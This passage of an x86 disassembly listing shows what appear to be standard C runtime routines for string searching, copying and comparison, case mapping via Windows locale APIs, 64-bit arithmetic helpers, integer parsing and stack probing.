		call	sub_4CC454
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4CC496
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4CC52A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4CC5D3:				; CODE XREF: sub_4CC54C+40j
					; sub_4CC54C+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4CC57F
; ---------------------------------------------------------------------------


loc_4CC5DE:				; CODE XREF: sub_4CC54C+54j
		mov	eax, 0
		jmp	short loc_4CC601
; ---------------------------------------------------------------------------


loc_4CC5E5:				; CODE XREF: sub_4CC54C+36j
		mov	eax, 1
		jmp	short loc_4CC601
; ---------------------------------------------------------------------------


loc_4CC5EC:				; CODE XREF: sub_4CC54C+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4CC496
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_4CC601:				; CODE XREF: sub_4CC54C+97j
					; sub_4CC54C+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4CC54C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4CC496
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4CC640


loc_4CC630:				; CODE XREF: sub_4CC640+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_4CC640
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4CC640	proc near		; CODE XREF: sub_4CF166+2Ap
					; sub_4D8A16+AFp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004CC630 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4CC66B


loc_4CC658:				; CODE XREF: sub_4CC640+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4CC630
		test	cl, cl
		jz	short loc_4CC6B4
		test	edx, 3
		jnz	short loc_4CC658


loc_4CC66B:				; CODE XREF: sub_4CC640+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4CC676:				; CODE XREF: sub_4CC640+61j
					; sub_4CC640+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4CC6B8
		and	eax, 81010100h
		jz	short loc_4CC676
		and	eax, 1010100h
		jnz	short loc_4CC6B2
		and	esi, 80000000h
		jnz	short loc_4CC676


loc_4CC6B2:				; CODE XREF: sub_4CC640+68j
					; sub_4CC640+81j ...
		pop	esi
		pop	edi


loc_4CC6B4:				; CODE XREF: sub_4CC640+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4CC6B8:				; CODE XREF: sub_4CC640+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4CC6F5
		test	al, al
		jz	short loc_4CC6B2
		cmp	ah, bl
		jz	short loc_4CC6EE
		test	ah, ah
		jz	short loc_4CC6B2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4CC6E7
		test	al, al
		jz	short loc_4CC6B2
		cmp	ah, bl
		jz	short loc_4CC6E0
		test	ah, ah
		jz	short loc_4CC6B2
		jmp	short loc_4CC676
; ---------------------------------------------------------------------------


loc_4CC6E0:				; CODE XREF: sub_4CC640+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4CC6E7:				; CODE XREF: sub_4CC640+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4CC6EE:				; CODE XREF: sub_4CC640+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4CC6F5:				; CODE XREF: sub_4CC640+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_4CC640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC700	proc near		; CODE XREF: sub_4CF252+FBp
					; sub_4D2DD0+161p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_4CC721
		xor	eax, eax
		jmp	short loc_4CC723
; ---------------------------------------------------------------------------


loc_4CC721:				; CODE XREF: sub_4CC700+1Bj
		mov	eax, edi


loc_4CC723:				; CODE XREF: sub_4CC700+1Fj
		cld
		pop	edi
		leave
		retn
sub_4CC700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC730	proc near		; CODE XREF: sub_4D153F+5Ep
					; sub_4D153F+1ABp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4CC761
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4CC75F
		jz	short loc_4CC761
		dec	ecx
		dec	ecx


loc_4CC75F:				; CODE XREF: sub_4CC730+29j
		not	ecx


loc_4CC761:				; CODE XREF: sub_4CC730+9j
					; sub_4CC730+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4CC730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4CC770	proc near		; CODE XREF: sub_4D1CC4+1AFp
					; sub_4D1CC4+434p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4CC7F3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_4CC794
		shr	ecx, 2
		jnz	short loc_4CC801
		jmp	short loc_4CC7B5
; ---------------------------------------------------------------------------


loc_4CC794:				; CODE XREF: sub_4CC770+1Bj
					; sub_4CC770+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4CC7C2
		test	al, al
		jz	short loc_4CC7CA
		test	esi, 3
		jnz	short loc_4CC794
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4CC801


loc_4CC7B0:				; CODE XREF: sub_4CC770+8Fj
		and	ebx, 3
		jz	short loc_4CC7C2


loc_4CC7B5:				; CODE XREF: sub_4CC770+22j
					; sub_4CC770+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4CC7EE
		dec	ebx
		jnz	short loc_4CC7B5


loc_4CC7C2:				; CODE XREF: sub_4CC770+2Bj
					; sub_4CC770+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4CC7CA:				; CODE XREF: sub_4CC770+2Fj
		test	edi, 3
		jz	short loc_4CC7E4


loc_4CC7D2:				; CODE XREF: sub_4CC770+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_4CC866
		test	edi, 3
		jnz	short loc_4CC7D2


loc_4CC7E4:				; CODE XREF: sub_4CC770+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4CC857


loc_4CC7EB:				; CODE XREF: sub_4CC770+7Fj
					; sub_4CC770+F4j
		mov	[edi], al
		inc	edi


loc_4CC7EE:				; CODE XREF: sub_4CC770+4Dj
		dec	ebx
		jnz	short loc_4CC7EB
		pop	ebx
		pop	esi


loc_4CC7F3:				; CODE XREF: sub_4CC770+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4CC7F9:				; CODE XREF: sub_4CC770+A9j
					; sub_4CC770+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_4CC7B0


loc_4CC801:				; CODE XREF: sub_4CC770+20j
					; sub_4CC770+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4CC7F9
		test	dl, dl
		jz	short loc_4CC84B
		test	dh, dh
		jz	short loc_4CC841
		test	edx, 0FF0000h
		jz	short loc_4CC837
		test	edx, 0FF000000h
		jnz	short loc_4CC7F9
		mov	[edi], edx
		jmp	short loc_4CC84F
; ---------------------------------------------------------------------------


loc_4CC837:				; CODE XREF: sub_4CC770+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_4CC84F
; ---------------------------------------------------------------------------


loc_4CC841:				; CODE XREF: sub_4CC770+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_4CC84F
; ---------------------------------------------------------------------------


loc_4CC84B:				; CODE XREF: sub_4CC770+ADj
		xor	edx, edx
		mov	[edi], edx


loc_4CC84F:				; CODE XREF: sub_4CC770+C5j
					; sub_4CC770+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_4CC861


loc_4CC857:				; CODE XREF: sub_4CC770+79j
		xor	eax, eax


loc_4CC859:				; CODE XREF: sub_4CC770+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_4CC859


loc_4CC861:				; CODE XREF: sub_4CC770+E5j
		and	ebx, 3
		jnz	short loc_4CC7EB


loc_4CC866:				; CODE XREF: sub_4CC770+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4CC770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CC86E	proc near		; CODE XREF: sub_4CC0D6+24p
					; sub_4CC0D6+2Fp ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4E60F4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4CC89B
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4CC934
		cmp	eax, 5Ah
		jg	loc_4CC934
		add	eax, 20h
		jmp	loc_4CC934
; ---------------------------------------------------------------------------


loc_4CC89B:				; CODE XREF: sub_4CC86E+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4CC8CF
		cmp	ds:dword_4E165C, esi
		jle	short loc_4CC8BD
		push	esi
		push	ebx
		call	sub_4CCCCF
		pop	ecx
		pop	ecx
		jmp	short loc_4CC8C7
; ---------------------------------------------------------------------------


loc_4CC8BD:				; CODE XREF: sub_4CC86E+42j
		mov	eax, ds:off_4E1450
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4CC8C7:				; CODE XREF: sub_4CC86E+4Dj
		test	eax, eax
		jnz	short loc_4CC8CF


loc_4CC8CB:				; CODE XREF: sub_4CC86E+ADj
		mov	eax, ebx
		jmp	short loc_4CC934
; ---------------------------------------------------------------------------


loc_4CC8CF:				; CODE XREF: sub_4CC86E+3Aj
					; sub_4CC86E+5Bj
		mov	edx, ds:off_4E1450
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4CC8F3
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_4CC8FC
; ---------------------------------------------------------------------------


loc_4CC8F3:				; CODE XREF: sub_4CC86E+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_4CC8FC:				; CODE XREF: sub_4CC86E+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	ds:dword_4E60F4
		call	sub_4CCA80
		add	esp, 20h
		test	eax, eax
		jz	short loc_4CC8CB
		cmp	eax, esi
		jnz	short loc_4CC927
		movzx	eax, [ebp+var_4]
		jmp	short loc_4CC934
; ---------------------------------------------------------------------------


loc_4CC927:				; CODE XREF: sub_4CC86E+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4CC934:				; CODE XREF: sub_4CC86E+16j
					; sub_4CC86E+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4CC86E	endp

; ---------------------------------------------------------------------------
		align 10h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+14h]
		or	eax, eax
		jge	short loc_4CC961
		inc	edi
		mov	edx, [esp+10h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+14h], eax
		mov	[esp+10h], edx


loc_4CC961:				; CODE XREF: _4:004CC94Bj
		mov	eax, [esp+1Ch]
		or	eax, eax
		jge	short loc_4CC97D
		inc	edi
		mov	edx, [esp+18h]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+1Ch], eax
		mov	[esp+18h], edx


loc_4CC97D:				; CODE XREF: _4:004CC967j
		or	eax, eax
		jnz	short loc_4CC999
		mov	ecx, [esp+18h]
		mov	eax, [esp+14h]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+10h]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4CC9DA
; ---------------------------------------------------------------------------


loc_4CC999:				; CODE XREF: _4:004CC97Fj
		mov	ebx, eax
		mov	ecx, [esp+18h]
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]


loc_4CC9A7:				; CODE XREF: _4:004CC9B1j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4CC9A7
		div	ecx
		mov	esi, eax
		mul	dword ptr [esp+1Ch]
		mov	ecx, eax
		mov	eax, [esp+18h]
		mul	esi
		add	edx, ecx
		jb	short loc_4CC9D5
		cmp	edx, [esp+14h]
		ja	short loc_4CC9D5
		jb	short loc_4CC9D6
		cmp	eax, [esp+10h]
		jbe	short loc_4CC9D6


loc_4CC9D5:				; CODE XREF: _4:004CC9C5j _4:004CC9CBj
		dec	esi


loc_4CC9D6:				; CODE XREF: _4:004CC9CDj _4:004CC9D3j
		xor	edx, edx
		mov	eax, esi


loc_4CC9DA:				; CODE XREF: _4:004CC997j
		dec	edi
		jnz	short loc_4CC9E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4CC9E4:				; CODE XREF: _4:004CC9DBj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_4CC9EA	proc near		; CODE XREF: sub_4CCA75+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4CC9F2:				; CODE XREF: sub_4CC9EA+34j
		cmp	ds:dword_4E165C, 1
		jle	short loc_4CCA0A
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_4CCCCF
		pop	ecx
		pop	ecx
		jmp	short loc_4CCA19
; ---------------------------------------------------------------------------


loc_4CCA0A:				; CODE XREF: sub_4CC9EA+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_4E1450
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4CCA19:				; CODE XREF: sub_4CC9EA+1Ej
		test	eax, eax
		jz	short loc_4CCA20
		inc	edi
		jmp	short loc_4CC9F2
; ---------------------------------------------------------------------------


loc_4CCA20:				; CODE XREF: sub_4CC9EA+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4CCA30
		cmp	esi, 2Bh
		jnz	short loc_4CCA34


loc_4CCA30:				; CODE XREF: sub_4CC9EA+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4CCA34:				; CODE XREF: sub_4CC9EA+44j
		xor	ebx, ebx


loc_4CCA36:				; CODE XREF: sub_4CC9EA+7Bj
		cmp	ds:dword_4E165C, 1
		jle	short loc_4CCA4B
		push	4
		push	esi
		call	sub_4CCCCF
		pop	ecx
		pop	ecx
		jmp	short loc_4CCA56
; ---------------------------------------------------------------------------


loc_4CCA4B:				; CODE XREF: sub_4CC9EA+53j
		mov	eax, ds:off_4E1450
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4CCA56:				; CODE XREF: sub_4CC9EA+5Fj
		test	eax, eax
		jz	short loc_4CCA67
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4CCA36
; ---------------------------------------------------------------------------


loc_4CCA67:				; CODE XREF: sub_4CC9EA+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_4CCA70
		neg	eax


loc_4CCA70:				; CODE XREF: sub_4CC9EA+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4CC9EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CCA75	proc near		; CODE XREF: sub_4DAD0C+5Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4CC9EA
		pop	ecx
		retn
sub_4CCA75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CCA80	proc near		; CODE XREF: sub_4CC86E+A3p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DEB08
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	ds:dword_4E60E8, edi
		jnz	short loc_4CCAF6
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4DEB00
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_4DE034	; LCMapStringW
		test	eax, eax
		jz	short loc_4CCAD4
		mov	ds:dword_4E60E8, ebx
		jmp	short loc_4CCAF6
; ---------------------------------------------------------------------------


loc_4CCAD4:				; CODE XREF: sub_4CCA80+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4DEAFC
		push	esi
		push	edi
		call	ds:dword_4DE038	; LCMapStringA
		test	eax, eax
		jz	loc_4CCC0E
		mov	ds:dword_4E60E8, 2


loc_4CCAF6:				; CODE XREF: sub_4CCA80+2Ej
					; sub_4CCA80+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_4CCB0B
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4CCCA4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4CCB0B:				; CODE XREF: sub_4CCA80+79j
		mov	eax, ds:dword_4E60E8
		cmp	eax, 2
		jnz	short loc_4CCB32
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4DE038	; LCMapStringA
		jmp	loc_4CCC10
; ---------------------------------------------------------------------------


loc_4CCB32:				; CODE XREF: sub_4CCA80+93j
		cmp	eax, 1
		jnz	loc_4CCC0E
		cmp	[ebp+arg_18], edi
		jnz	short loc_4CCB48
		mov	eax, ds:dword_4E6104
		mov	[ebp+arg_18], eax


loc_4CCB48:				; CODE XREF: sub_4CCA80+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_4DE044	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_4CCC0E
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_4CCD90
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4CCBA3
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4CCBA3:				; CODE XREF: sub_4CCA80+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_4CCC0E
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_4DE044	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4CCC0E
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4DE034	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_4CCC0E
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4CCC22
		cmp	[ebp+arg_14], edi
		jz	loc_4CCC9D
		cmp	esi, [ebp+arg_14]
		jg	short loc_4CCC0E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4DE034	; LCMapStringW
		test	eax, eax
		jnz	loc_4CCC9D


loc_4CCC0E:				; CODE XREF: sub_4CCA80+66j
					; sub_4CCA80+B5j ...
		xor	eax, eax


loc_4CCC10:				; CODE XREF: sub_4CCA80+ADj
					; sub_4CCA80+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4CCC22:				; CODE XREF: sub_4CCA80+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4CCD90
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4CCC56
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4CCC56:				; CODE XREF: sub_4CCA80+1C2j
		cmp	ebx, edi
		jz	short loc_4CCC0E
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4DE034	; LCMapStringW
		test	eax, eax
		jz	short loc_4CCC0E
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4CCC7D
		push	edi
		push	edi
		jmp	short loc_4CCC83
; ---------------------------------------------------------------------------


loc_4CCC7D:				; CODE XREF: sub_4CCA80+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4CCC83:				; CODE XREF: sub_4CCA80+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	ds:dword_4DE040	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_4CCC0E


loc_4CCC9D:				; CODE XREF: sub_4CCA80+165j
					; sub_4CCA80+188j
		mov	eax, esi
		jmp	loc_4CCC10
sub_4CCA80	endp


; =============== S U B	R O U T	I N E =======================================



sub_4CCCA4	proc near		; CODE XREF: sub_4CCA80+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4CCCC1


loc_4CCCB4:				; CODE XREF: sub_4CCCA4+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4CCCC1
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4CCCB4


loc_4CCCC1:				; CODE XREF: sub_4CCCA4+Ej
					; sub_4CCCA4+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4CCCCC
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4CCCCC:				; CODE XREF: sub_4CCCA4+21j
		mov	eax, edx
		retn
sub_4CCCA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CCCCF	proc near		; CODE XREF: sub_4CC86E+46p
					; sub_4CC9EA+17p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_4CCCED
		mov	ecx, ds:off_4E1450
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4CCD3F
; ---------------------------------------------------------------------------


loc_4CCCED:				; CODE XREF: sub_4CCCCF+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_4E1450
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4CCD12
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4CCD1B
; ---------------------------------------------------------------------------


loc_4CCD12:				; CODE XREF: sub_4CCCCF+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4CCD1B:				; CODE XREF: sub_4CCCCF+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4CCDBF
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4CCD3B
		leave
		retn
; ---------------------------------------------------------------------------


loc_4CCD3B:				; CODE XREF: sub_4CCCCF+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4CCD3F:				; CODE XREF: sub_4CCCCF+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_4CCCCF	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_4CCD69
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_4CCD69:				; CODE XREF: _4:004CCD5Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4CCD90	proc near		; CODE XREF: sub_4CCA80+FDp
					; sub_4CCA80+1B1p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4CCDB0


loc_4CCD9C:				; CODE XREF: sub_4CCD90+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4CCD9C


loc_4CCDB0:				; CODE XREF: sub_4CCD90+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4CCD90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


